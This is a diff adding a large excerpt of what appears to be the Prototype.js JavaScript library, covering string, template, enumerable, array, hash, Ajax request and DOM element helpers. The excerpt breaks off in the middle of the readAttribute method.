+  endsWith: function(pattern) {
+    var d = this.length - pattern.length;
+    return d >= 0 && this.lastIndexOf(pattern) === d;
+  },
+
+  empty: function() {
+    return this == '';
+  },
+
+  blank: function() {
+    return /^\s*$/.test(this);
+  },
+
+  interpolate: function(object, pattern) {
+    return new Template(this, pattern).evaluate(object);
+  }
+});
+
+if (Prototype.Browser.WebKit || Prototype.Browser.IE) Object.extend(String.prototype, {
+  escapeHTML: function() {
+    return this.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');
+  },
+  unescapeHTML: function() {
+    return this.replace(/&amp;/g,'&').replace(/&lt;/g,'<').replace(/&gt;/g,'>');
+  }
+});
+
+String.prototype.gsub.prepareReplacement = function(replacement) {
+  if (Object.isFunction(replacement)) return replacement;
+  var template = new Template(replacement);
+  return function(match) { return template.evaluate(match) };
+};
+
+String.prototype.parseQuery = String.prototype.toQueryParams;
+
+Object.extend(String.prototype.escapeHTML, {
+  div:  document.createElement('div'),
+  text: document.createTextNode('')
+});
+
+with (String.prototype.escapeHTML) div.appendChild(text);
+
+var Template = Class.create({
+  initialize: function(template, pattern) {
+    this.template = template.toString();
+    this.pattern = pattern || Template.Pattern;
+  },
+
+  evaluate: function(object) {
+    if (Object.isFunction(object.toTemplateReplacements))
+      object = object.toTemplateReplacements();
+
+    return this.template.gsub(this.pattern, function(match) {
+      if (object == null) return '';
+
+      var before = match[1] || '';
+      if (before == '\\') return match[2];
+
+      var ctx = object, expr = match[3];
+      var pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/, match = pattern.exec(expr);
+      if (match == null) return before;
+
+      while (match != null) {
+        var comp = match[1].startsWith('[') ? match[2].gsub('\\\\]', ']') : match[1];
+        ctx = ctx[comp];
+        if (null == ctx || '' == match[3]) break;
+        expr = expr.substring('[' == match[3] ? match[1].length : match[0].length);
+        match = pattern.exec(expr);
+      }
+
+      return before + String.interpret(ctx);
+    }.bind(this));
+  }
+});
+Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;
+
+var $break = { };
+
+var Enumerable = {
+  each: function(iterator, context) {
+    var index = 0;
+    iterator = iterator.bind(context);
+    try {
+      this._each(function(value) {
+        iterator(value, index++);
+      });
+    } catch (e) {
+      if (e != $break) throw e;
+    }
+    return this;
+  },
+
+  eachSlice: function(number, iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var index = -number, slices = [], array = this.toArray();
+    while ((index += number) < array.length)
+      slices.push(array.slice(index, index+number));
+    return slices.collect(iterator, context);
+  },
+
+  all: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result = true;
+    this.each(function(value, index) {
+      result = result && !!iterator(value, index);
+      if (!result) throw $break;
+    });
+    return result;
+  },
+
+  any: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result = false;
+    this.each(function(value, index) {
+      if (result = !!iterator(value, index))
+        throw $break;
+    });
+    return result;
+  },
+
+  collect: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var results = [];
+    this.each(function(value, index) {
+      results.push(iterator(value, index));
+    });
+    return results;
+  },
+
+  detect: function(iterator, context) {
+    iterator = iterator.bind(context);
+    var result;
+    this.each(function(value, index) {
+      if (iterator(value, index)) {
+        result = value;
+        throw $break;
+      }
+    });
+    return result;
+  },
+
+  findAll: function(iterator, context) {
+    iterator = iterator.bind(context);
+    var results = [];
+    this.each(function(value, index) {
+      if (iterator(value, index))
+        results.push(value);
+    });
+    return results;
+  },
+
+  grep: function(filter, iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var results = [];
+
+    if (Object.isString(filter))
+      filter = new RegExp(filter);
+
+    this.each(function(value, index) {
+      if (filter.match(value))
+        results.push(iterator(value, index));
+    });
+    return results;
+  },
+
+  include: function(object) {
+    if (Object.isFunction(this.indexOf))
+      if (this.indexOf(object) != -1) return true;
+
+    var found = false;
+    this.each(function(value) {
+      if (value == object) {
+        found = true;
+        throw $break;
+      }
+    });
+    return found;
+  },
+
+  inGroupsOf: function(number, fillWith) {
+    fillWith = fillWith === undefined ? null : fillWith;
+    return this.eachSlice(number, function(slice) {
+      while(slice.length < number) slice.push(fillWith);
+      return slice;
+    });
+  },
+
+  inject: function(memo, iterator, context) {
+    iterator = iterator.bind(context);
+    this.each(function(value, index) {
+      memo = iterator(memo, value, index);
+    });
+    return memo;
+  },
+
+  invoke: function(method) {
+    var args = $A(arguments).slice(1);
+    return this.map(function(value) {
+      return value[method].apply(value, args);
+    });
+  },
+
+  max: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result;
+    this.each(function(value, index) {
+      value = iterator(value, index);
+      if (result == undefined || value >= result)
+        result = value;
+    });
+    return result;
+  },
+
+  min: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var result;
+    this.each(function(value, index) {
+      value = iterator(value, index);
+      if (result == undefined || value < result)
+        result = value;
+    });
+    return result;
+  },
+
+  partition: function(iterator, context) {
+    iterator = iterator ? iterator.bind(context) : Prototype.K;
+    var trues = [], falses = [];
+    this.each(function(value, index) {
+      (iterator(value, index) ?
+        trues : falses).push(value);
+    });
+    return [trues, falses];
+  },
+
+  pluck: function(property) {
+    var results = [];
+    this.each(function(value) {
+      results.push(value[property]);
+    });
+    return results;
+  },
+
+  reject: function(iterator, context) {
+    iterator = iterator.bind(context);
+    var results = [];
+    this.each(function(value, index) {
+      if (!iterator(value, index))
+        results.push(value);
+    });
+    return results;
+  },
+
+  sortBy: function(iterator, context) {
+    iterator = iterator.bind(context);
+    return this.map(function(value, index) {
+      return {value: value, criteria: iterator(value, index)};
+    }).sort(function(left, right) {
+      var a = left.criteria, b = right.criteria;
+      return a < b ? -1 : a > b ? 1 : 0;
+    }).pluck('value');
+  },
+
+  toArray: function() {
+    return this.map();
+  },
+
+  zip: function() {
+    var iterator = Prototype.K, args = $A(arguments);
+    if (Object.isFunction(args.last()))
+      iterator = args.pop();
+
+    var collections = [this].concat(args).map($A);
+    return this.map(function(value, index) {
+      return iterator(collections.pluck(index));
+    });
+  },
+
+  size: function() {
+    return this.toArray().length;
+  },
+
+  inspect: function() {
+    return '#<Enumerable:' + this.toArray().inspect() + '>';
+  }
+};
+
+Object.extend(Enumerable, {
+  map:     Enumerable.collect,
+  find:    Enumerable.detect,
+  select:  Enumerable.findAll,
+  filter:  Enumerable.findAll,
+  member:  Enumerable.include,
+  entries: Enumerable.toArray,
+  every:   Enumerable.all,
+  some:    Enumerable.any
+});
+function $A(iterable) {
+  if (!iterable) return [];
+  if (iterable.toArray) return iterable.toArray();
+  var length = iterable.length, results = new Array(length);
+  while (length--) results[length] = iterable[length];
+  return results;
+}
+
+if (Prototype.Browser.WebKit) {
+  function $A(iterable) {
+    if (!iterable) return [];
+    if (!(Object.isFunction(iterable) && iterable == '[object NodeList]') &&
+        iterable.toArray) return iterable.toArray();
+    var length = iterable.length, results = new Array(length);
+    while (length--) results[length] = iterable[length];
+    return results;
+  }
+}
+
+Array.from = $A;
+
+Object.extend(Array.prototype, Enumerable);
+
+if (!Array.prototype._reverse) Array.prototype._reverse = Array.prototype.reverse;
+
+Object.extend(Array.prototype, {
+  _each: function(iterator) {
+    for (var i = 0, length = this.length; i < length; i++)
+      iterator(this[i]);
+  },
+
+  clear: function() {
+    this.length = 0;
+    return this;
+  },
+
+  first: function() {
+    return this[0];
+  },
+
+  last: function() {
+    return this[this.length - 1];
+  },
+
+  compact: function() {
+    return this.select(function(value) {
+      return value != null;
+    });
+  },
+
+  flatten: function() {
+    return this.inject([], function(array, value) {
+      return array.concat(Object.isArray(value) ?
+        value.flatten() : [value]);
+    });
+  },
+
+  without: function() {
+    var values = $A(arguments);
+    return this.select(function(value) {
+      return !values.include(value);
+    });
+  },
+
+  reverse: function(inline) {
+    return (inline !== false ? this : this.toArray())._reverse();
+  },
+
+  reduce: function() {
+    return this.length > 1 ? this : this[0];
+  },
+
+  uniq: function(sorted) {
+    return this.inject([], function(array, value, index) {
+      if (0 == index || (sorted ? array.last() != value : !array.include(value)))
+        array.push(value);
+      return array;
+    });
+  },
+
+  intersect: function(array) {
+    return this.uniq().findAll(function(item) {
+      return array.detect(function(value) { return item === value });
+    });
+  },
+
+  clone: function() {
+    return [].concat(this);
+  },
+
+  size: function() {
+    return this.length;
+  },
+
+  inspect: function() {
+    return '[' + this.map(Object.inspect).join(', ') + ']';
+  },
+
+  toJSON: function() {
+    var results = [];
+    this.each(function(object) {
+      var value = Object.toJSON(object);
+      if (value !== undefined) results.push(value);
+    });
+    return '[' + results.join(', ') + ']';
+  }
+});
+
+// use native browser JS 1.6 implementation if available
+if (Object.isFunction(Array.prototype.forEach))
+  Array.prototype._each = Array.prototype.forEach;
+
+if (!Array.prototype.indexOf) Array.prototype.indexOf = function(item, i) {
+  i || (i = 0);
+  var length = this.length;
+  if (i < 0) i = length + i;
+  for (; i < length; i++)
+    if (this[i] === item) return i;
+  return -1;
+};
+
+if (!Array.prototype.lastIndexOf) Array.prototype.lastIndexOf = function(item, i) {
+  i = isNaN(i) ? this.length : (i < 0 ? this.length + i : i) + 1;
+  var n = this.slice(0, i).reverse().indexOf(item);
+  return (n < 0) ? n : i - n - 1;
+};
+
+Array.prototype.toArray = Array.prototype.clone;
+
+function $w(string) {
+  if (!Object.isString(string)) return [];
+  string = string.strip();
+  return string ? string.split(/\s+/) : [];
+}
+
+if (Prototype.Browser.Opera){
+  Array.prototype.concat = function() {
+    var array = [];
+    for (var i = 0, length = this.length; i < length; i++) array.push(this[i]);
+    for (var i = 0, length = arguments.length; i < length; i++) {
+      if (Object.isArray(arguments[i])) {
+        for (var j = 0, arrayLength = arguments[i].length; j < arrayLength; j++)
+          array.push(arguments[i][j]);
+      } else {
+        array.push(arguments[i]);
+      }
+    }
+    return array;
+  };
+}
+Object.extend(Number.prototype, {
+  toColorPart: function() {
+    return this.toPaddedString(2, 16);
+  },
+
+  succ: function() {
+    return this + 1;
+  },
+
+  times: function(iterator) {
+    $R(0, this, true).each(iterator);
+    return this;
+  },
+
+  toPaddedString: function(length, radix) {
+    var string = this.toString(radix || 10);
+    return '0'.times(length - string.length) + string;
+  },
+
+  toJSON: function() {
+    return isFinite(this) ? this.toString() : 'null';
+  }
+});
+
+$w('abs round ceil floor').each(function(method){
+  Number.prototype[method] = Math[method].methodize();
+});
+function $H(object) {
+  return new Hash(object);
+};
+
+var Hash = Class.create(Enumerable, (function() {
+  if (function() {
+    var i = 0, Test = function(value) { this.key = value };
+    Test.prototype.key = 'foo';
+    for (var property in new Test('bar')) i++;
+    return i > 1;
+  }()) {
+    function each(iterator) {
+      var cache = [];
+      for (var key in this._object) {
+        var value = this._object[key];
+        if (cache.include(key)) continue;
+        cache.push(key);
+        var pair = [key, value];
+        pair.key = key;
+        pair.value = value;
+        iterator(pair);
+      }
+    }
+  } else {
+    function each(iterator) {
+      for (var key in this._object) {
+        var value = this._object[key], pair = [key, value];
+        pair.key = key;
+        pair.value = value;
+        iterator(pair);
+      }
+    }
+  }
+
+  function toQueryPair(key, value) {
+    if (Object.isUndefined(value)) return key;
+    return key + '=' + encodeURIComponent(String.interpret(value));
+  }
+
+  return {
+    initialize: function(object) {
+      this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
+    },
+
+    _each: each,
+
+    set: function(key, value) {
+      return this._object[key] = value;
+    },
+
+    get: function(key) {
+      return this._object[key];
+    },
+
+    unset: function(key) {
+      var value = this._object[key];
+      delete this._object[key];
+      return value;
+    },
+
+    toObject: function() {
+      return Object.clone(this._object);
+    },
+
+    keys: function() {
+      return this.pluck('key');
+    },
+
+    values: function() {
+      return this.pluck('value');
+    },
+
+    index: function(value) {
+      var match = this.detect(function(pair) {
+        return pair.value === value;
+      });
+      return match && match.key;
+    },
+
+    merge: function(object) {
+      return this.clone().update(object);
+    },
+
+    update: function(object) {
+      return new Hash(object).inject(this, function(result, pair) {
+        result.set(pair.key, pair.value);
+        return result;
+      });
+    },
+
+    toQueryString: function() {
+      return this.map(function(pair) {
+        var key = encodeURIComponent(pair.key), values = pair.value;
+
+        if (values && typeof values == 'object') {
+          if (Object.isArray(values))
+            return values.map(toQueryPair.curry(key)).join('&');
+        }
+        return toQueryPair(key, values);
+      }).join('&');
+    },
+
+    inspect: function() {
+      return '#<Hash:{' + this.map(function(pair) {
+        return pair.map(Object.inspect).join(': ');
+      }).join(', ') + '}>';
+    },
+
+    toJSON: function() {
+      return Object.toJSON(this.toObject());
+    },
+
+    clone: function() {
+      return new Hash(this);
+    }
+  }
+})());
+
+Hash.prototype.toTemplateReplacements = Hash.prototype.toObject;
+Hash.from = $H;
+var ObjectRange = Class.create(Enumerable, {
+  initialize: function(start, end, exclusive) {
+    this.start = start;
+    this.end = end;
+    this.exclusive = exclusive;
+  },
+
+  _each: function(iterator) {
+    var value = this.start;
+    while (this.include(value)) {
+      iterator(value);
+      value = value.succ();
+    }
+  },
+
+  include: function(value) {
+    if (value < this.start)
+      return false;
+    if (this.exclusive)
+      return value < this.end;
+    return value <= this.end;
+  }
+});
+
+var $R = function(start, end, exclusive) {
+  return new ObjectRange(start, end, exclusive);
+};
+
+var Ajax = {
+  getTransport: function() {
+    return Try.these(
+      function() {return new XMLHttpRequest()},
+      function() {return new ActiveXObject('Msxml2.XMLHTTP')},
+      function() {return new ActiveXObject('Microsoft.XMLHTTP')}
+    ) || false;
+  },
+
+  activeRequestCount: 0
+};
+
+Ajax.Responders = {
+  responders: [],
+
+  _each: function(iterator) {
+    this.responders._each(iterator);
+  },
+
+  register: function(responder) {
+    if (!this.include(responder))
+      this.responders.push(responder);
+  },
+
+  unregister: function(responder) {
+    this.responders = this.responders.without(responder);
+  },
+
+  dispatch: function(callback, request, transport, json) {
+    this.each(function(responder) {
+      if (Object.isFunction(responder[callback])) {
+        try {
+          responder[callback].apply(responder, [request, transport, json]);
+        } catch (e) { }
+      }
+    });
+  }
+};
+
+Object.extend(Ajax.Responders, Enumerable);
+
+Ajax.Responders.register({
+  onCreate:   function() { Ajax.activeRequestCount++ },
+  onComplete: function() { Ajax.activeRequestCount-- }
+});
+
+Ajax.Base = Class.create({
+  initialize: function(options) {
+    this.options = {
+      method:       'post',
+      asynchronous: true,
+      contentType:  'application/x-www-form-urlencoded',
+      encoding:     'UTF-8',
+      parameters:   '',
+      evalJSON:     true,
+      evalJS:       true
+    };
+    Object.extend(this.options, options || { });
+
+    this.options.method = this.options.method.toLowerCase();
+    if (Object.isString(this.options.parameters))
+      this.options.parameters = this.options.parameters.toQueryParams();
+  }
+});
+
+Ajax.Request = Class.create(Ajax.Base, {
+  _complete: false,
+
+  initialize: function($super, url, options) {
+    $super(options);
+    this.transport = Ajax.getTransport();
+    this.request(url);
+  },
+
+  request: function(url) {
+    this.url = url;
+    this.method = this.options.method;
+    var params = Object.clone(this.options.parameters);
+
+    if (!['get', 'post'].include(this.method)) {
+      // simulate other verbs over post
+      params['_method'] = this.method;
+      this.method = 'post';
+    }
+
+    this.parameters = params;
+
+    if (params = Object.toQueryString(params)) {
+      // when GET, append parameters to URL
+      if (this.method == 'get')
+        this.url += (this.url.include('?') ? '&' : '?') + params;
+      else if (/Konqueror|Safari|KHTML/.test(navigator.userAgent))
+        params += '&_=';
+    }
+
+    try {
+      var response = new Ajax.Response(this);
+      if (this.options.onCreate) this.options.onCreate(response);
+      Ajax.Responders.dispatch('onCreate', this, response);
+
+      this.transport.open(this.method.toUpperCase(), this.url,
+        this.options.asynchronous);
+
+      if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1);
+
+      this.transport.onreadystatechange = this.onStateChange.bind(this);
+      this.setRequestHeaders();
+
+      this.body = this.method == 'post' ? (this.options.postBody || params) : null;
+      this.transport.send(this.body);
+
+      /* Force Firefox to handle ready state 4 for synchronous requests */
+      if (!this.options.asynchronous && this.transport.overrideMimeType)
+        this.onStateChange();
+
+    }
+    catch (e) {
+      this.dispatchException(e);
+    }
+  },
+
+  onStateChange: function() {
+    var readyState = this.transport.readyState;
+    if (readyState > 1 && !((readyState == 4) && this._complete))
+      this.respondToReadyState(this.transport.readyState);
+  },
+
+  setRequestHeaders: function() {
+    var headers = {
+      'X-Requested-With': 'XMLHttpRequest',
+      'X-Prototype-Version': Prototype.Version,
+      'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
+    };
+
+    if (this.method == 'post') {
+      headers['Content-type'] = this.options.contentType +
+        (this.options.encoding ? '; charset=' + this.options.encoding : '');
+
+      /* Force "Connection: close" for older Mozilla browsers to work
+       * around a bug where XMLHttpRequest sends an incorrect
+       * Content-length header. See Mozilla Bugzilla #246651.
+       */
+      if (this.transport.overrideMimeType &&
+          (navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005)
+            headers['Connection'] = 'close';
+    }
+
+    // user-defined headers
+    if (typeof this.options.requestHeaders == 'object') {
+      var extras = this.options.requestHeaders;
+
+      if (Object.isFunction(extras.push))
+        for (var i = 0, length = extras.length; i < length; i += 2)
+          headers[extras[i]] = extras[i+1];
+      else
+        $H(extras).each(function(pair) { headers[pair.key] = pair.value });
+    }
+
+    for (var name in headers)
+      this.transport.setRequestHeader(name, headers[name]);
+  },
+
+  success: function() {
+    var status = this.getStatus();
+    return !status || (status >= 200 && status < 300);
+  },
+
+  getStatus: function() {
+    try {
+      return this.transport.status || 0;
+    } catch (e) { return 0 }
+  },
+
+  respondToReadyState: function(readyState) {
+    var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this);
+
+    if (state == 'Complete') {
+      try {
+        this._complete = true;
+        (this.options['on' + response.status]
+         || this.options['on' + (this.success() ? 'Success' : 'Failure')]
+         || Prototype.emptyFunction)(response, response.headerJSON);
+      } catch (e) {
+        this.dispatchException(e);
+      }
+
+      var contentType = response.getHeader('Content-type');
+      if (this.options.evalJS == 'force'
+          || (this.options.evalJS && contentType
+          && contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i)))
+        this.evalResponse();
+    }
+
+    try {
+      (this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON);
+      Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON);
+    } catch (e) {
+      this.dispatchException(e);
+    }
+
+    if (state == 'Complete') {
+      // avoid memory leak in MSIE: clean up
+      this.transport.onreadystatechange = Prototype.emptyFunction;
+    }
+  },
+
+  getHeader: function(name) {
+    try {
+      return this.transport.getResponseHeader(name);
+    } catch (e) { return null }
+  },
+
+  evalResponse: function() {
+    try {
+      return eval((this.transport.responseText || '').unfilterJSON());
+    } catch (e) {
+      this.dispatchException(e);
+    }
+  },
+
+  dispatchException: function(exception) {
+    (this.options.onException || Prototype.emptyFunction)(this, exception);
+    Ajax.Responders.dispatch('onException', this, exception);
+  }
+});
+
+Ajax.Request.Events =
+  ['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];
+
+Ajax.Response = Class.create({
+  initialize: function(request){
+    this.request = request;
+    var transport  = this.transport  = request.transport,
+        readyState = this.readyState = transport.readyState;
+
+    if((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) {
+      this.status       = this.getStatus();
+      this.statusText   = this.getStatusText();
+      this.responseText = String.interpret(transport.responseText);
+      this.headerJSON   = this._getHeaderJSON();
+    }
+
+    if(readyState == 4) {
+      var xml = transport.responseXML;
+      this.responseXML  = xml === undefined ? null : xml;
+      this.responseJSON = this._getResponseJSON();
+    }
+  },
+
+  status:      0,
+  statusText: '',
+
+  getStatus: Ajax.Request.prototype.getStatus,
+
+  getStatusText: function() {
+    try {
+      return this.transport.statusText || '';
+    } catch (e) { return '' }
+  },
+
+  getHeader: Ajax.Request.prototype.getHeader,
+
+  getAllHeaders: function() {
+    try {
+      return this.getAllResponseHeaders();
+    } catch (e) { return null }
+  },
+
+  getResponseHeader: function(name) {
+    return this.transport.getResponseHeader(name);
+  },
+
+  getAllResponseHeaders: function() {
+    return this.transport.getAllResponseHeaders();
+  },
+
+  _getHeaderJSON: function() {
+    var json = this.getHeader('X-JSON');
+    if (!json) return null;
+    json = decodeURIComponent(escape(json));
+    try {
+      return json.evalJSON(this.request.options.sanitizeJSON);
+    } catch (e) {
+      this.request.dispatchException(e);
+    }
+  },
+
+  _getResponseJSON: function() {
+    var options = this.request.options;
+    if (!options.evalJSON || (options.evalJSON != 'force' &&
+      !(this.getHeader('Content-type') || '').include('application/json')))
+        return null;
+    try {
+      return this.transport.responseText.evalJSON(options.sanitizeJSON);
+    } catch (e) {
+      this.request.dispatchException(e);
+    }
+  }
+});
+
+Ajax.Updater = Class.create(Ajax.Request, {
+  initialize: function($super, container, url, options) {
+    this.container = {
+      success: (container.success || container),
+      failure: (container.failure || (container.success ? null : container))
+    };
+
+    options = options || { };
+    var onComplete = options.onComplete;
+    options.onComplete = (function(response, param) {
+      this.updateContent(response.responseText);
+      if (Object.isFunction(onComplete)) onComplete(response, param);
+    }).bind(this);
+
+    $super(url, options);
+  },
+
+  updateContent: function(responseText) {
+    var receiver = this.container[this.success() ? 'success' : 'failure'],
+        options = this.options;
+
+    if (!options.evalScripts) responseText = responseText.stripScripts();
+
+    if (receiver = $(receiver)) {
+      if (options.insertion) {
+        if (Object.isString(options.insertion)) {
+          var insertion = { }; insertion[options.insertion] = responseText;
+          receiver.insert(insertion);
+        }
+        else options.insertion(receiver, responseText);
+      }
+      else receiver.update(responseText);
+    }
+
+    if (this.success()) {
+      if (this.onComplete) this.onComplete.bind(this).defer();
+    }
+  }
+});
+
+Ajax.PeriodicalUpdater = Class.create(Ajax.Base, {
+  initialize: function($super, container, url, options) {
+    $super(options);
+    this.onComplete = this.options.onComplete;
+
+    this.frequency = (this.options.frequency || 2);
+    this.decay = (this.options.decay || 1);
+
+    this.updater = { };
+    this.container = container;
+    this.url = url;
+
+    this.start();
+  },
+
+  start: function() {
+    this.options.onComplete = this.updateComplete.bind(this);
+    this.onTimerEvent();
+  },
+
+  stop: function() {
+    this.updater.options.onComplete = undefined;
+    clearTimeout(this.timer);
+    (this.onComplete || Prototype.emptyFunction).apply(this, arguments);
+  },
+
+  updateComplete: function(response) {
+    if (this.options.decay) {
+      this.decay = (response.responseText == this.lastText ?
+        this.decay * this.options.decay : 1);
+
+      this.lastText = response.responseText;
+    }
+    this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency);
+  },
+
+  onTimerEvent: function() {
+    this.updater = new Ajax.Updater(this.container, this.url, this.options);
+  }
+});
+function $(element) {
+  if (arguments.length > 1) {
+    for (var i = 0, elements = [], length = arguments.length; i < length; i++)
+      elements.push($(arguments[i]));
+    return elements;
+  }
+  if (Object.isString(element))
+    element = document.getElementById(element);
+  return Element.extend(element);
+}
+
+if (Prototype.BrowserFeatures.XPath) {
+  document._getElementsByXPath = function(expression, parentElement) {
+    var results = [];
+    var query = document.evaluate(expression, $(parentElement) || document,
+      null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+    for (var i = 0, length = query.snapshotLength; i < length; i++)
+      results.push(Element.extend(query.snapshotItem(i)));
+    return results;
+  };
+}
+
+/*--------------------------------------------------------------------------*/
+
+if (!window.Node) var Node = { };
+
+if (!Node.ELEMENT_NODE) {
+  // DOM level 2 ECMAScript Language Binding
+  Object.extend(Node, {
+    ELEMENT_NODE: 1,
+    ATTRIBUTE_NODE: 2,
+    TEXT_NODE: 3,
+    CDATA_SECTION_NODE: 4,
+    ENTITY_REFERENCE_NODE: 5,
+    ENTITY_NODE: 6,
+    PROCESSING_INSTRUCTION_NODE: 7,
+    COMMENT_NODE: 8,
+    DOCUMENT_NODE: 9,
+    DOCUMENT_TYPE_NODE: 10,
+    DOCUMENT_FRAGMENT_NODE: 11,
+    NOTATION_NODE: 12
+  });
+}
+
+(function() {
+  var element = this.Element;
+  this.Element = function(tagName, attributes) {
+    attributes = attributes || { };
+    tagName = tagName.toLowerCase();
+    var cache = Element.cache;
+    if (Prototype.Browser.IE && attributes.name) {
+      tagName = '<' + tagName + ' name="' + attributes.name + '">';
+      delete attributes.name;
+      return Element.writeAttribute(document.createElement(tagName), attributes);
+    }
+    if (!cache[tagName]) cache[tagName] = Element.extend(document.createElement(tagName));
+    return Element.writeAttribute(cache[tagName].cloneNode(false), attributes);
+  };
+  Object.extend(this.Element, element || { });
+}).call(window);
+
+Element.cache = { };
+
+Element.Methods = {
+  visible: function(element) {
+    return $(element).style.display != 'none';
+  },
+
+  toggle: function(element) {
+    element = $(element);
+    Element[Element.visible(element) ? 'hide' : 'show'](element);
+    return element;
+  },
+
+  hide: function(element) {
+    $(element).style.display = 'none';
+    return element;
+  },
+
+  show: function(element) {
+    $(element).style.display = '';
+    return element;
+  },
+
+  remove: function(element) {
+    element = $(element);
+    element.parentNode.removeChild(element);
+    return element;
+  },
+
+  update: function(element, content) {
+    element = $(element);
+    if (content && content.toElement) content = content.toElement();
+    if (Object.isElement(content)) return element.update().insert(content);
+    content = Object.toHTML(content);
+    element.innerHTML = content.stripScripts();
+    content.evalScripts.bind(content).defer();
+    return element;
+  },
+
+  replace: function(element, content) {
+    element = $(element);
+    if (content && content.toElement) content = content.toElement();
+    else if (!Object.isElement(content)) {
+      content = Object.toHTML(content);
+      var range = element.ownerDocument.createRange();
+      range.selectNode(element);
+      content.evalScripts.bind(content).defer();
+      content = range.createContextualFragment(content.stripScripts());
+    }
+    element.parentNode.replaceChild(content, element);
+    return element;
+  },
+
+  insert: function(element, insertions) {
+    element = $(element);
+
+    if (Object.isString(insertions) || Object.isNumber(insertions) ||
+        Object.isElement(insertions) || (insertions && (insertions.toElement || insertions.toHTML)))
+          insertions = {bottom:insertions};
+
+    var content, t, range;
+
+    for (position in insertions) {
+      content  = insertions[position];
+      position = position.toLowerCase();
+      t = Element._insertionTranslations[position];
+
+      if (content && content.toElement) content = content.toElement();
+      if (Object.isElement(content)) {
+        t.insert(element, content);
+        continue;
+      }
+
+      content = Object.toHTML(content);
+
+      range = element.ownerDocument.createRange();
+      t.initializeRange(element, range);
+      t.insert(element, range.createContextualFragment(content.stripScripts()));
+
+      content.evalScripts.bind(content).defer();
+    }
+
+    return element;
+  },
+
+  wrap: function(element, wrapper, attributes) {
+    element = $(element);
+    if (Object.isElement(wrapper))
+      $(wrapper).writeAttribute(attributes || { });
+    else if (Object.isString(wrapper)) wrapper = new Element(wrapper, attributes);
+    else wrapper = new Element('div', wrapper);
+    if (element.parentNode)
+      element.parentNode.replaceChild(wrapper, element);
+    wrapper.appendChild(element);
+    return wrapper;
+  },
+
+  inspect: function(element) {
+    element = $(element);
+    var result = '<' + element.tagName.toLowerCase();
+    $H({'id': 'id', 'className': 'class'}).each(function(pair) {
+      var property = pair.first(), attribute = pair.last();
+      var value = (element[property] || '').toString();
+      if (value) result += ' ' + attribute + '=' + value.inspect(true);
+    });
+    return result + '>';
+  },
+
+  recursivelyCollect: function(element, property) {
+    element = $(element);
+    var elements = [];
+    while (element = element[property])
+      if (element.nodeType == 1)
+        elements.push(Element.extend(element));
+    return elements;
+  },
+
+  ancestors: function(element) {
+    return $(element).recursivelyCollect('parentNode');
+  },
+
+  descendants: function(element) {
+    return $A($(element).getElementsByTagName('*')).each(Element.extend);
+  },
+
+  firstDescendant: function(element) {
+    element = $(element).firstChild;
+    while (element && element.nodeType != 1) element = element.nextSibling;
+    return $(element);
+  },
+
+  immediateDescendants: function(element) {
+    if (!(element = $(element).firstChild)) return [];
+    while (element && element.nodeType != 1) element = element.nextSibling;
+    if (element) return [element].concat($(element).nextSiblings());
+    return [];
+  },
+
+  previousSiblings: function(element) {
+    return $(element).recursivelyCollect('previousSibling');
+  },
+
+  nextSiblings: function(element) {
+    return $(element).recursivelyCollect('nextSibling');
+  },
+
+  siblings: function(element) {
+    element = $(element);
+    return element.previousSiblings().reverse().concat(element.nextSiblings());
+  },
+
+  match: function(element, selector) {
+    if (Object.isString(selector))
+      selector = new Selector(selector);
+    return selector.match($(element));
+  },
+
+  up: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(element.parentNode);
+    var ancestors = element.ancestors();
+    return expression ? Selector.findElement(ancestors, expression, index) :
+      ancestors[index || 0];
+  },
+
+  down: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return element.firstDescendant();
+    var descendants = element.descendants();
+    return expression ? Selector.findElement(descendants, expression, index) :
+      descendants[index || 0];
+  },
+
+  previous: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(Selector.handlers.previousElementSibling(element));
+    var previousSiblings = element.previousSiblings();
+    return expression ? Selector.findElement(previousSiblings, expression, index) :
+      previousSiblings[index || 0];
+  },
+
+  next: function(element, expression, index) {
+    element = $(element);
+    if (arguments.length == 1) return $(Selector.handlers.nextElementSibling(element));
+    var nextSiblings = element.nextSiblings();
+    return expression ? Selector.findElement(nextSiblings, expression, index) :
+      nextSiblings[index || 0];
+  },
+
+  select: function() {
+    var args = $A(arguments), element = $(args.shift());
+    return Selector.findChildElements(element, args);
+  },
+
+  adjacent: function() {
+    var args = $A(arguments), element = $(args.shift());
+    return Selector.findChildElements(element.parentNode, args).without(element);
+  },
+
+  identify: function(element) {
+    element = $(element);
+    var id = element.readAttribute('id'), self = arguments.callee;
+    if (id) return id;
+    do { id = 'anonymous_element_' + self.counter++ } while ($(id));
+    element.writeAttribute('id', id);
+    return id;
+  },
+
+  readAttribute: function(element, name) {
+    element = $(element);
+    if (Prototype.Browser.IE) {
+      var t = Element._attributeTranslations.read;
+      if (t.values[name]) return t.values[name](element, name);
+      if (t.names[name]) name = t.names[name];
+      if (name.include(':')) {
+        return (!element.attributes || !element.attributes[name]) ? null :
+         element.attributes[name].value;
+      }
+    }
+    return element.getAttribute(name);
